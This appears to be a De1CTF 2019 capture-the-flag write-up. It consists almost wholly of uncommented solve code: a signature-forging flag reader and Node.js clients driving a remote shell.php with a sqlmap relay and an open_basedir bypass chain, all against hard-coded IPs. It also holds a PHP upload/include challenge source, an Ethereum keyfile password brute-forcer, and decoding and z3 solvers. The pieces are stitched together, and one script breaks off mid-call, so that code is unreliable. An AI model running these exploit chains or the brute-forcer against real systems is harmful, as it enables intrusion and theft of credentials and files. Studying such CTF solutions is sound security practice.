De1CTF 2019-WriteUp

# coding:utf-8
import requests
import urllib


BASE_URL="http://139.180.128.86"


def getSign(param):
    r = requests.get('%s/geneSign?param=%s' % (BASE_URL, urllib.quote(param)))
    if r.status_code == 200:
        return r.text
    return ""


def Result(sign, param):
    header = {
        'Cookie': 'action=readscan; sign=%s;' % sign,
    }
    r = requests.get('%s/De1ta?param=%s' % (BASE_URL, urllib.quote(param)), headers=header)
    if r.status_code == 200:
        print(r.text)


file="flag.txt"
sign = getSign('%sread' % file)
Result(sign, file)

PHPSESSID=4stu05dr969ogmprk28drnju93

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);


    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if  (!is_array($filename))
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
  }

const Koa = require('koa');
const http = require('http');
const querystring = require('querystring');
const TOTP = require('totp.js');
/**
 * yarn add totp.js
 */

const app = new Koa();
const totp = new TOTP("GAXG24JTMZXGKZBU", 8);

function fuck(param) {let promise = new Promise(function(resolve, rejecte) {
        data = {
            a: param,
            totp: totp.genOTP(5)
        }
        var content = querystring.stringify(data);
        var options = {
            hostname: '222.85.25.41',
            port: 8090,
            path: '/shell.php?' + content,
            method: 'GET'
        };
        var req = http.request(options, (res) => {
            res.setEncoding('utf8');
            let rawData = '';
            res.on('data', (chunk) => {
                rawData += chunk;
            });
            res.on('end', () => {
                try {
                    const parsedData = JSON.parse(rawData);
                    if (parsedData.message)
                        console.log(parsedData.message);
                    else
                        console.log(parsedData.data);
                    resolve(1)
                } catch (e) {
                    rejecte(e.message)
                }
            });
        });
        req.on('error', function(e) {
            console.log('problem with request: ' + e.message);
            rejecte(e.message)
        });
        req.end();
    })
    return promise;
}

/**
 * Web 中转 For Sqlmap
 */

app.use(async ctx => {
    let query = ctx.query || ctx.request.query;
    var resp = ''
    if (query.cmd) {
        var cmd = query.cmd.replace(/ /g, "/**/");
        resp = await fuck(`login ${cmd} 123456`);
        console.log(resp)
    }
    ctx.body = JSON.stringify(resp);
});

console.log("Listening http://127.0.0.1:3000")
app.listen(3000); 

const TOTP = require('totp.js');
/**
 * yarn add totp.js
 */
const http = require('http');
const async = require('async');
const querystring = require('querystring');

const totp = new TOTP("GAXG24JTMZXGKZBU", 8);

function fuck(param, method = 'GET', postData = {}) {
    let promise = new Promise(function(resolve, rejecte) {
        data = {
            a: param,
            totp: totp.genOTP(5)
        }
        var content = querystring.stringify(data);
        var options = {
            hostname: '222.85.25.41',
            port: 8090,
            path: '/shell.php?' + content,
            method: method,
            headers: {
                "Cookie": ["PHPSESSID=vk666"]
            }
        };
        if (method == 'POST') {
            postData = querystring.stringify(postData);
            options['headers']['Content-Type'] = 'application/x-www-form-urlencoded';
            options['headers']['Content-Length'] = Buffer.byteLength(postData);
        }
        var req = http.request(options, (res) => {
            res.setEncoding('utf8');
            let rawData = '';
            res.on('data', (chunk) => {
                rawData += chunk;
            });
            res.on('end', () => {
                let res = /de1ctf\{.*?\}/g.exec(rawData)
                if (res) {
                    console.log(`[+] Here is flag : ${res[0]}`)
                }
                resolve(1)
            });
        });
        req.on('error', function(e) {
            console.log('problem with request: ' + e.message);
            rejecte(e.message)
        });
        if (method == 'POST')
            req.write(postData);
        req.end();
    })
    return promise;
}

async function cmd(cmd, param = "") {
    await fuck(cmd, 'POST', param);
}

(async () => {
    console.log("[+] Waiting...")
    /* 登录 */
    // await fuck(`login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}`)
    /* 清除 */
    await cmd('destruct')
    // open_basedir
    await cmd('targeting a open_basedir')
    await cmd('targeting b ..')
    await cmd('targeting c ini_set')
    await cmd('targeting d chdir')
    await cmd('targeting e js')
    await cmd('targeting f flag')
    await cmd('targeting g readfile')
    await cmd('targeting i _REQUEST')
    await cmd('targeting j ini_get_all')
    await cmd('targeting k print_r')
    await cmd('targeting o {${$i}{9}}') // $_REQUEST[9]
    await cmd('targeting t1 ${$d($e)}') // chdir("js")
    await cmd('targeting t2 ${$c($a,$b)}') // ini_set("open_basedir","..")
    await cmd('targeting t3 ${$d($b)}') // chdir("..")
    await cmd('targeting t4 ${$d($b)}') // chdir("..")
    await cmd('targeting t5 ${$d($b)}') // chdir("..")
    await cmd('targeting t6 ${$d($b)}') // chdir("..")
    await cmd('targeting t8 ${$c($a,$o)}') // ini_set("open_basedir","/")
    await cmd('targeting w ${$g($f)}') // readfile flag
    await cmd('launch', {
        '9': '/'

http://qr02.cn/FeJ7dU

#!/usr/bin/env python3
import eth_keyfile
from multiprocessing import Pool, Queue


keyjson = eth_keyfile.load_keyfile("keystone.json")


def check_pwd(p, i):
    try:
        a = eth_keyfile.decode_keyfile_json(keyjson, p)
        print(f"[*] {p} {a}")
    except ValueError as e:
        print(f"[{i}] {e} {p}")
        pass


with open("passwd.txt") as f:
    passwords = f.readlines()


p = Pool(processes = 24)


for i in range(0, len(passwords)):
    pwd = bytes(passwords[i].strip(), encoding="utf8")
    info = f"{i}/{len(passwords)}"
    r = p.apply_async(check_pwd, args=(pwd,info))


p.close()
p.join() 

import string
def main():
  t = [0x8, 0x3b, 0x1, 0x20, 0x7, 0x34, 0x9, 0x1f, 0x18, 0x24, 0x13, 0x3, 0x10, 0x38, 0x9, 0x1b, 0x8, 0x34, 0x13, 0x2, 0x8, 0x22, 0x12, 0x3, 0x5, 0x6, 0x12, 0x3, 0xf, 0x22, 0x12, 0x17, 0x8, 0x1, 0x29, 0x22, 0x6, 0x24, 0x32, 0x24, 0xf, 0x1f, 0x2b, 0x24, 0x3, 0x15, 0x41, 0x41]
  t1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
  t2 = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/='
  print len(t)
  out = ''
  for i in t:
    out += t1[i-1]
  map = string.maketrans(t2,t1)
  out = out.translate(map)
  print out.decode('base64')
  print 'end.'

if __name__ == '__main__':
    main()

v = [BitVec('v%d'%i,8) for i in range(70)]
  r = [0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60, 0x62, 0x2B, 0x88,
        0x86, 0xCA, 0x72, 0x97, 0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26,
        0x83, 0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17, 0x7C, 0xCE,
        0x3A, 0x73, 0xCF, 0xFB, 0xC7, 0x9C, 0x60, 0xAF, 0x9C, 0xC8,
        0x75, 0xCD, 0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA, 0xD8,
        0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46, 0x0B, 0xFF, 0x3C, 0xF1,
        0xF1, 0x45, 0xC4, 0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]
  n = map(ord,'Almost heaven west virginia, blue ridge mountains')
                                                                                                                            
  s = Solver()
  for i in range(10):
    for j in xrange(7):
      num = 0
      for k in xrange(7):
        num += v[(i<<3) - i + k] * n[(k<<3) - k + j]
      s.add(r[(i<<3) - i + j] == num)
                                                                    
  if s.check() == sat:
    flag = ''
    a = s.model()
    for i in v:
#      print a[i]
      flag += chr(int(a[i].as_string()))
    print flag